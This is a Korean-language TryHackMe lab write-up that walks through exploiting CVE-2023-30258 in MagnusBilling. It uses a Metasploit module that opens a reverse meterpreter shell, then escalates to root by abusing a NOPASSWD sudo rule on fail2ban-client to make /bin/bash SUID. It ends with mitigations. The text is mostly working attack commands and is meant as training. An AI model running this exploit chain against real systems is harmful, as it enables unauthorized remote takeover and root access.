
CVE-2023-30258 (MagnusBilling RCE)을 악용하고 fail2ban 설정 오류를 통해 권한 상승을 수행하는 TryHackMe 실습의 단계별 가이드입니다. 웹 열거, Metasploit을 이용한 익스플로잇, Linux 권한 상승을 보여줍니다.
⸻
🛡️ MagnusBilling RCE → Root (CVE-2023-30258)
📌 개요 • 대상: 10.145.148.203 • 플랫폼: TryHackMe • 취약점: CVE-2023-30258 • 접근: 인증 없는 원격 코드 실행 (RCE) • 권한 상승: fail2ban 잘못된 설정 • 최종 접근: Root
⸻
🔍 1. 정찰
포트 스캔
rustscan -a 10.145.148.203
📊 열린 포트
포트 서비스
22 SSH
80 HTTP
3306 MySQL
5038 Asterisk

Asterisk의 존재는 VoIP/빌링 시스템을 암시합니다.
⸻
🌐 2. 웹 열거
디렉터리 퍼징
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
-u "http://10.145.148.203/mbilling/FUZZ" -ic -c
📁 발견 사항: • /archive • /assets • /lib • /tmp • /protected
/mbilling 경로는 잠재적인 공격 벡터로 식별됩니다.

⸻
🚨 3. 취약점 식별
CVE-2023-30258
MagnusBilling은 다음에 취약합니다: • 인증 없는 원격 코드 실행 (RCE) • 명령 주입 • 전체 시스템 장악
⸻
💣 4. 익스플로잇 (Metasploit)
msfconsole
search CVE:2023-30258
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
set RHOSTS 10.145.148.203
set LHOST tun0
set LPORT 4444
run

⸻
🎯 결과
meterpreter 세션 열림
sysinfo
OS: Linux Debian User: asterisk
⸻
🔐 5. 초기 접근
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
whoami
asterisk
⸻
🏁 6. 사용자 플래그
cd /home/magnus cat user.txt
⸻
🔎 7. 권한 상승
sudo 확인
sudo -l
(ALL) NOPASSWD: /usr/bin/fail2ban-client
심각한 잘못된 설정 발견!
⸻
💣 8. Fail2Ban 익스플로잇
악성 액션 추가
sudo fail2ban-client set mbilling_login addaction evil
sudo fail2ban-client set mbilling_login action evil actionban "chmod +s /bin/bash"
sudo fail2ban-client set mbilling_login banip 127.0.0.1
⸻
🚀 9. Root 접근
/bin/bash -p
id
euid=0(root)
처음에 whoami는 asterisk를 반환했습니다. bash -p를 사용하여 root로 권한 상승합니다.
⸻
👑 10. Root 플래그
cat /root/root.txt
⸻
🧠 11. 주요 교훈 • CVE 익스플로잇은 쉬운 초기 접근을 제공했습니다 • 웹 열거는 중요합니다 (ffuf가 /mbilling 식별) • 잘못 설정된 sudo는 전체 시스템 장악으로 이어질 수 있습니다 • fail2ban은 권한 상승에 악용될 수 있습니다
⸻
🛡️ 12. 완화 조치 • MagnusBilling을 최신 버전으로 업데이트 • sudo 구성에서 NOPASSWD 제거 • fail2ban-client에 대한 접근 제한 • 웹 애플리케이션 및 엔드포인트 강화
⸻
💀 결론
이 머신은 현실적인 공격 체인을 보여줍니다:
웹 RCE → 셸 → 권한 상승 → Root
취약점 + 잘못된 설정의 조합이 전체 시스템 장악으로 이어졌습니다.